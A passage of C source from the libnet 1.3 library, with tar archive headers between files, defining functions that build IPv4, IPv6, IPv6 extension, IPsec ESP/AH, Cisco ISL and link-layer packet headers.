are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" /* TODO len - should be calculated if -1 */ libnet_ptag_t libnet_build_ipv4(uint16_t ip_len, uint8_t tos, uint16_t id, uint16_t frag, uint8_t ttl, uint8_t prot, uint16_t sum, uint32_t src, uint32_t dst, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n = LIBNET_IPV4_H; /* size of memory block */ libnet_pblock_t *p, *p_data, *p_temp; struct libnet_ipv4_hdr ip_hdr; libnet_ptag_t ptag_data = 0; /* used if there is ipv4 payload */ libnet_ptag_t ptag_hold; if (l == NULL) { return (-1); } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H); if (p == NULL) { return (-1); } memset(&ip_hdr, 0, sizeof(ip_hdr)); ip_hdr.ip_v = 4; /* version 4 */ ip_hdr.ip_hl = 5; /* 20 byte header, measured in 32-bit words */ /* check to see if there are IP options to include */ if (p->prev) { if (p->prev->type == LIBNET_PBLOCK_IPO_H) { /* IPO block's length must be multiple of 4, or it's incorrectly * padded, in which case there is no "correct" IP header length, * it will too short or too long, we choose too short. */ ip_hdr.ip_hl += p->prev->b_len / 4; } } /* Note that p->h_len is not adjusted. This seems a bug, but it is because * it is not used! libnet_do_checksum() is passed the h_len (as `len'), * but for IPPROTO_IP it is ignored in favor of the ip_hl. */ ip_hdr.ip_tos = tos; /* IP tos */ ip_hdr.ip_len = htons(ip_len); /* total length */ ip_hdr.ip_id = htons(id); /* IP ID */ ip_hdr.ip_off = htons(frag); /* fragmentation flags */ ip_hdr.ip_ttl = ttl; /* time to live */ ip_hdr.ip_p = prot; /* transport protocol */ ip_hdr.ip_sum = (sum ? htons(sum) : 0); /* checksum */ ip_hdr.ip_src.s_addr = src; /* source ip */ ip_hdr.ip_dst.s_addr = dst; /* destination ip */ if (libnet_pblock_append(l, p, (uint8_t *)&ip_hdr, LIBNET_IPV4_H) == -1) { goto bad; } /* save the original ptag value */ ptag_hold = ptag; if (ptag == LIBNET_PTAG_INITIALIZER) { ptag = libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H); } /* find and set the appropriate ptag, or else use the default of 0 */ /* When updating the ipv4 block, we need to find the data block, and * adjust our ip_offset if the new payload size is different from what * it used to be. */ if (ptag_hold && p->prev) { p_temp = p->prev; while (p_temp->prev && (p_temp->type != LIBNET_PBLOCK_IPDATA) && (p_temp->type != LIBNET_PBLOCK_IPV4_H)) { p_temp = p_temp->prev; } if (p_temp->type == LIBNET_PBLOCK_IPDATA) { ptag_data = p_temp->ptag; } else { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): IPv4 data pblock not found", __func__); } } if (payload_s && !payload) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): payload inconsistency", __func__); goto bad; } if (payload_s) { /* update ptag_data with the new payload */ /* on create: * b_len = payload_s * l->total_size += b_len * h_len = 0 * on update: * b_len = payload_s * h_len += * increments if if b_len goes up, down if it goes down * in either case: * copied = 0 */ p_data = libnet_pblock_probe(l, ptag_data, payload_s, LIBNET_PBLOCK_IPDATA); if (p_data == NULL) { return (-1); } if (libnet_pblock_append(l, p_data, payload, payload_s) == -1) { goto bad; } if (ptag_data == LIBNET_PTAG_INITIALIZER) { /* IPDATA's h_len gets set to payload_s in both branches */ if (p_data->prev->type == LIBNET_PBLOCK_IPV4_H) { libnet_pblock_update(l, p_data, payload_s, LIBNET_PBLOCK_IPDATA); /* swap pblocks to correct the protocol order */ libnet_pblock_swap(l, p->ptag, p_data->ptag); } else { /* SR - I'm not sure how to reach this code. Maybe if the first * time we added an ipv4 block, there was no payload, but when * we modify the block the next time, we have payload? */ /* update without setting this as the final pblock */ p_data->type = LIBNET_PBLOCK_IPDATA; p_data->ptag = ++(l->ptag_state); p_data->h_len = payload_s; /* TODO dead code, data blocks don't have headers */ /* data was added after the initial construction */ for (p_temp = l->protocol_blocks; p_temp->type == LIBNET_PBLOCK_IPV4_H || p_temp->type == LIBNET_PBLOCK_IPO_H; p_temp = p_temp->next) { libnet_pblock_insert_before(l, p_temp->ptag, p_data->ptag); break; } /* the end block needs to have its next pointer cleared */ l->pblock_end->next = NULL; } if (p_data->prev && p_data->prev->type == LIBNET_PBLOCK_IPO_H) { libnet_pblock_swap(l, p_data->prev->ptag, p_data->ptag); } } } else { p_data = libnet_pblock_find(l, ptag_data); if (p_data) { libnet_pblock_delete(l, p_data); } else { /* * XXX - When this completes successfully, libnet errbuf contains * an error message so to come correct, we'll clear it. */ memset(l->err_buf, 0, sizeof (l->err_buf)); } } if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_autobuild_ipv4(uint16_t len, uint8_t prot, uint32_t dst, libnet_t *l) { uint32_t n, i, j, src; uint16_t h; libnet_pblock_t *p; libnet_ptag_t ptag; struct libnet_ipv4_hdr ip_hdr; if (l == NULL) { return (-1); } n = LIBNET_IPV4_H; /* size of memory block */ h = len; /* header length */ ptag = LIBNET_PTAG_INITIALIZER; src = libnet_get_ipaddr4(l); if (src == UINT32_MAX) { /* err msg set in libnet_get_ipaddr() */ return (-1); } /* * Create a new pblock. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H); if (p == NULL) { return (-1); } memset(&ip_hdr, 0, sizeof(ip_hdr)); ip_hdr.ip_v = 4; /* version 4 */ ip_hdr.ip_hl = 5; /* 20 byte header */ /* check to see if there are IP options to include */ if (p->prev) { if (p->prev->type == LIBNET_PBLOCK_IPO_H) { /* * Count up number of 32-bit words in options list, padding if * neccessary. */ for (i = 0, j = 0; i < p->prev->b_len; i++) { (i % 4) ? j : j++; } ip_hdr.ip_hl += j; } } ip_hdr.ip_tos = 0; /* IP tos */ ip_hdr.ip_len = htons(h); /* total length */ ip_hdr.ip_id = htons((l->ptag_state) & 0x0000ffff); /* IP ID */ ip_hdr.ip_off = 0; /* fragmentation flags */ ip_hdr.ip_ttl = 64; /* time to live */ ip_hdr.ip_p = prot; /* transport protocol */ ip_hdr.ip_sum = 0; /* checksum */ ip_hdr.ip_src.s_addr = src; /* source ip */ ip_hdr.ip_dst.s_addr = dst; /* destination ip */ if (libnet_pblock_append(l, p, (uint8_t *)&ip_hdr, LIBNET_IPV4_H) == -1) { goto bad; } libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); ptag = libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H); return (ptag); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipv4_options(const uint8_t *options, uint32_t options_s, libnet_t *l, libnet_ptag_t ptag) { int options_size_increase = 0; /* increase will be negative if it's a decrease */ uint32_t adj_size; libnet_pblock_t *p, *p_temp; struct libnet_ipv4_hdr *ip_hdr; if (l == NULL) { return (-1); } /* check options list size */ if (options_s > LIBNET_MAXOPTION_SIZE) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): options list is too large %d", __func__, options_s); return (-1); } adj_size = options_s; if (adj_size % 4) { /* size of memory block with padding */ adj_size += 4 - (options_s % 4); } /* if this pblock already exists, determine if there is a size diff */ if (ptag) { p_temp = libnet_pblock_find(l, ptag); if (p_temp) { options_size_increase = adj_size - p_temp->b_len; } } /* If we aren't modifying an options block, we are pushing a new one, and * since it must be pushed before the IPv4 block is pushed, there is no * need to remember that options size has "increased". */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, adj_size, LIBNET_PBLOCK_IPO_H); if (p == NULL) { return (-1); } /* append options */ if (libnet_pblock_append(l, p, options, options_s) == -1) { goto bad; } /* append padding */ if (libnet_pblock_append(l, p, (uint8_t*)"\0\0\0", adj_size - options_s) == -1) { goto bad; } if (ptag && p->next) { p_temp = p->next; /* fix the IP header sizes */ if (p_temp->type == LIBNET_PBLOCK_IPV4_H) { ip_hdr = (struct libnet_ipv4_hdr *) p_temp->buf; ip_hdr->ip_hl = 5 + adj_size / 4; /* 4 bits wide, so no byte order concerns */ ip_hdr->ip_len = htons(ntohs(ip_hdr->ip_len) + options_size_increase); p_temp->h_len = ip_hdr->ip_hl * 4; /* Dead code, h_len isn't used for IPv4 block */ } } return (ptag ? ptag : libnet_pblock_update(l, p, adj_size, LIBNET_PBLOCK_IPO_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipv6(uint8_t tc, uint32_t fl, uint16_t len, uint8_t nh, uint8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; libnet_pblock_t *p; struct libnet_ipv6_hdr ip_hdr; if (l == NULL) { return (-1); } n = LIBNET_IPV6_H + payload_s; /* size of memory block */ if (LIBNET_IPV6_H + payload_s > IP_MAXPACKET) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): IP packet too large", __func__); return (-1); } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_H); if (p == NULL) { return (-1); } memset(&ip_hdr, 0, sizeof(ip_hdr)); ip_hdr.ip_flags[0] = (0x06 << 4) | ((tc & 0xF0) >> 4); ip_hdr.ip_flags[1] = ((tc & 0x0F) << 4) | ((fl & 0xF0000) >> 16); ip_hdr.ip_flags[2] = (fl & 0x0FF00) >> 8; ip_hdr.ip_flags[3] = fl & 0x000FF; ip_hdr.ip_len = htons(len); ip_hdr.ip_nh = nh; ip_hdr.ip_hl = hl; ip_hdr.ip_src = src; ip_hdr.ip_dst = dst; if (libnet_pblock_append(l, p, (uint8_t *)&ip_hdr, LIBNET_IPV6_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* no checksum for IPv6 */ ptag = ptag ? ptag : libnet_pblock_update(l, p, LIBNET_IPV6_H, LIBNET_PBLOCK_IPV6_H); return ptag; bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipv6_frag(uint8_t nh, uint8_t reserved, uint16_t frag, uint32_t id, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; uint16_t h; libnet_pblock_t *p; struct libnet_ipv6_frag_hdr ipv6_frag_hdr; if (l == NULL) { return (-1); } n = LIBNET_IPV6_FRAG_H + payload_s; h = 0; if (LIBNET_IPV6_FRAG_H + payload_s > IP_MAXPACKET) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): IP packet too large", __func__); return (-1); } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_FRAG_H); if (p == NULL) { return (-1); } memset(&ipv6_frag_hdr, 0 , sizeof(ipv6_frag_hdr)); ipv6_frag_hdr.ip_nh = nh; ipv6_frag_hdr.ip_reserved = reserved; ipv6_frag_hdr.ip_frag = frag; ipv6_frag_hdr.ip_id = id; /* * Appened the protocol unit to the list. */ if (libnet_pblock_append(l, p, (uint8_t *)&ipv6_frag_hdr, LIBNET_IPV6_FRAG_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* * Update the protocol block's meta information and return the protocol * tag id of this pblock. This tag will be used to locate the pblock * in order to modify the protocol header in subsequent calls. */ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IPV6_FRAG_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipv6_routing(uint8_t nh, uint8_t len, uint8_t rtype, uint8_t segments, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; uint16_t h; libnet_pblock_t *p; struct libnet_ipv6_routing_hdr ipv6_routing_hdr; if (l == NULL) { return (-1); } /* Important: IPv6 routing header routes are specified using the payload * interface! */ n = LIBNET_IPV6_ROUTING_H + payload_s; h = 0; if (LIBNET_IPV6_ROUTING_H + payload_s > IP_MAXPACKET) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): IP packet too large", __func__); return (-1); } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_ROUTING_H); if (p == NULL) { return (-1); } memset(&ipv6_routing_hdr, 0 , sizeof(ipv6_routing_hdr)); ipv6_routing_hdr.ip_nh = nh; ipv6_routing_hdr.ip_len = len; ipv6_routing_hdr.ip_rtype = rtype; ipv6_routing_hdr.ip_segments = segments; /* * Appened the protocol unit to the list. */ if (libnet_pblock_append(l, p, (uint8_t *)&ipv6_routing_hdr, LIBNET_IPV6_ROUTING_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* * Update the protocol block's meta information and return the protocol * tag id of this pblock. This tag will be used to locate the pblock * in order to modify the protocol header in subsequent calls. */ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IPV6_ROUTING_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipv6_destopts(uint8_t nh, uint8_t len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; uint16_t h; libnet_pblock_t *p; struct libnet_ipv6_destopts_hdr ipv6_destopts_hdr; if (l == NULL) { return (-1); } /* Important: IPv6 dest opts information is specified using the payload * interface! */ n = LIBNET_IPV6_DESTOPTS_H + payload_s; h = 0; if (LIBNET_IPV6_DESTOPTS_H + payload_s > IP_MAXPACKET) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): IP packet too large", __func__); return (-1); } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_DESTOPTS_H); if (p == NULL) { return (-1); } memset(&ipv6_destopts_hdr, 0 , sizeof(ipv6_destopts_hdr)); ipv6_destopts_hdr.ip_nh = nh; ipv6_destopts_hdr.ip_len = len; /* * Appened the protocol unit to the list. */ if (libnet_pblock_append(l, p, (uint8_t *)&ipv6_destopts_hdr, LIBNET_IPV6_DESTOPTS_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* * Update the protocol block's meta information and return the protocol * tag id of this pblock. This tag will be used to locate the pblock * in order to modify the protocol header in subsequent calls. */ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IPV6_DESTOPTS_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipv6_hbhopts(uint8_t nh, uint8_t len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; uint16_t h; libnet_pblock_t *p; struct libnet_ipv6_hbhopts_hdr ipv6_hbhopts_hdr; if (l == NULL) { return (-1); } /* Important: IPv6 hop by hop opts information is specified using the * payload interface! */ n = LIBNET_IPV6_HBHOPTS_H + payload_s; h = 0; if (LIBNET_IPV6_HBHOPTS_H + payload_s > IP_MAXPACKET) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): IP packet too large", __func__); return (-1); } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_HBHOPTS_H); if (p == NULL) { return (-1); } memset(&ipv6_hbhopts_hdr, 0 , sizeof(ipv6_hbhopts_hdr)); ipv6_hbhopts_hdr.ip_nh = nh; ipv6_hbhopts_hdr.ip_len = len; /* * Appened the protocol unit to the list. */ if (libnet_pblock_append(l, p, (uint8_t *)&ipv6_hbhopts_hdr, LIBNET_IPV6_HBHOPTS_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* * Update the protocol block's meta information and return the protocol * tag id of this pblock. This tag will be used to locate the pblock * in order to modify the protocol header in subsequent calls. */ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IPV6_HBHOPTS_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_autobuild_ipv6(uint16_t len, uint8_t nh, struct libnet_in6_addr dst, libnet_t *l, libnet_ptag_t ptag) { struct libnet_in6_addr src; src = libnet_get_ipaddr6(l); if (libnet_in6_is_error(src)) { return (-1); } return libnet_build_ipv6(0, 0, len, nh, 64, src, dst, NULL, 0, l, ptag); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_ipsec.c0000664000175000017500000001263514506572036015637 0ustar syqsyq/* * $Id: libnet_build_ipsec.c,v 1.12 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_ipsec.c - IP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * Copyright (c) 2002 Jose Nazario * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_ipsec_esp_hdr(uint32_t spi, uint32_t seq, uint32_t iv, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_esp_hdr esp_hdr; if (l == NULL) { return (-1); } n = LIBNET_IPSEC_ESP_HDR_H + payload_s;/* size of memory block */ h = 0; memset(&esp_hdr, 0, sizeof(esp_hdr)); esp_hdr.esp_spi = htonl(spi); /* SPI */ esp_hdr.esp_seq = htonl(seq); /* ESP sequence number */ esp_hdr.esp_iv = htonl(iv); /* initialization vector */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_ESP_HDR_H); if (p == NULL) { return (-1); } if (libnet_pblock_append(l, p, (uint8_t *)&esp_hdr, LIBNET_IPSEC_ESP_HDR_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IPSEC_ESP_HDR_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipsec_esp_ftr(uint8_t len, uint8_t nh, int8_t *auth, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { /* XXX we need to know the size of auth */ uint32_t n, h; libnet_pblock_t *p; struct libnet_esp_ftr esp_ftr; if (l == NULL) { return (-1); } n = LIBNET_IPSEC_ESP_FTR_H + payload_s;/* size of memory block */ h = 0; memset(&esp_ftr, 0, sizeof(esp_ftr)); esp_ftr.esp_pad_len = len; /* pad length */ esp_ftr.esp_nh = nh; /* next header pointer */ esp_ftr.esp_auth = auth; /* authentication data */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_ESP_FTR_H); if (p == NULL) { return (-1); } if (libnet_pblock_append(l, p, (uint8_t *)&esp_ftr, LIBNET_IPSEC_ESP_FTR_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IPSEC_ESP_FTR_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ipsec_ah(uint8_t nh, uint8_t len, uint16_t res, uint32_t spi, uint32_t seq, uint32_t auth, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_ah_hdr ah_hdr; if (l == NULL) { return (-1); } n = LIBNET_IPSEC_AH_H + payload_s;/* size of memory block */ h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_AH_H); if (p == NULL) { return (-1); } memset(&ah_hdr, 0, sizeof(ah_hdr)); ah_hdr.ah_nh = nh; /* next header */ ah_hdr.ah_len = len; /* length */ ah_hdr.ah_res = (res ? htons(res) : 0); ah_hdr.ah_spi = htonl(spi); /* SPI */ ah_hdr.ah_seq = htonl(seq); /* AH sequence number */ ah_hdr.ah_auth = htonl(auth); /* authentication data */ if (libnet_pblock_append(l, p, (uint8_t *)&ah_hdr, LIBNET_IPSEC_AH_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IPSEC_AH_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_isl.c0000664000175000017500000000633214506572036015320 0ustar syqsyq/* * $Id: libnet_build_isl.c,v 1.10 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_isl.c - cisco's inter-switch link assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_isl(uint8_t *dhost, uint8_t type, uint8_t user, uint8_t *shost, uint16_t len, const uint8_t *snap, uint16_t vid, uint16_t portindex, uint16_t reserved, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; libnet_pblock_t *p; struct libnet_isl_hdr isl_hdr; if (l == NULL) { return (-1); } n = LIBNET_ISL_H + payload_s; /* size of memory block */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ISL_H); if (p == NULL) { return (-1); } memset(&isl_hdr, 0, sizeof (isl_hdr)); memcpy(&isl_hdr.isl_dhost, dhost, sizeof(isl_hdr.isl_dhost)); isl_hdr.isl_type = type; isl_hdr.isl_user = user; memcpy(&isl_hdr.isl_shost, shost, sizeof(isl_hdr.isl_shost)); isl_hdr.isl_len = htons(len); memcpy(&isl_hdr.isl_snap, snap, sizeof(isl_hdr.isl_snap)); isl_hdr.isl_vid = htons(vid); isl_hdr.isl_index = htons(portindex); isl_hdr.isl_reserved= htons(reserved); if (libnet_pblock_append(l, p, (uint8_t *)&isl_hdr, LIBNET_ISL_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* we need to compute the CRC for the ethernet frame and the ISL frame */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); return (ptag ? ptag : libnet_pblock_update(l, p, LIBNET_ISL_H, LIBNET_PBLOCK_ISL_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_link.c0000664000175000017500000000630514506572036015466 0ustar syqsyq/* * $Id: libnet_build_link.c,v 1.10 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_link.c - link-layer packet assembler * * Copyright (c) 2003 Roberto Larcher * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_link(const uint8_t *dst, const uint8_t *src, const uint8_t *oui, uint16_t type, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { (void)oui; /* unused */ uint8_t org[3] = {0x00, 0x00, 0x00}; switch (l->link_type) { /* add FDDI */ case DLT_EN10MB: return libnet_build_ethernet(dst, src, type, payload, payload_s, l, ptag); case DLT_IEEE802: return libnet_build_token_ring(LIBNET_TOKEN_RING_FRAME, LIBNET_TOKEN_RING_LLC_FRAME, dst, src, LIBNET_SAP_SNAP, LIBNET_SAP_SNAP, 0x03, org, type, payload, payload_s, l, ptag); } snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): linktype %d not supported", __func__, l->link_type); return -1; } libnet_ptag_t libnet_autobuild_link(const uint8_t *dst, const uint8_t *oui, uint16_t type, libnet_t *l) { (void)oui; /* unused */ uint8_t org[3] = {0x00, 0x00, 0x00}; switch (l->link_type) { /* add FDDI */ case DLT_EN10MB: return (libnet_autobuild_ethernet(dst, type, l)); case DLT_IEEE802: return (libnet_autobuild_token_ring(LIBNET_TOKEN_RING_FRAME, LIBNET_TOKEN_RING_LLC_FRAME, dst, LIBNET_SAP_SNAP, LIBNET_SAP_SNAP, 0x03, org, TOKEN_RING_TYPE_IP, l)); 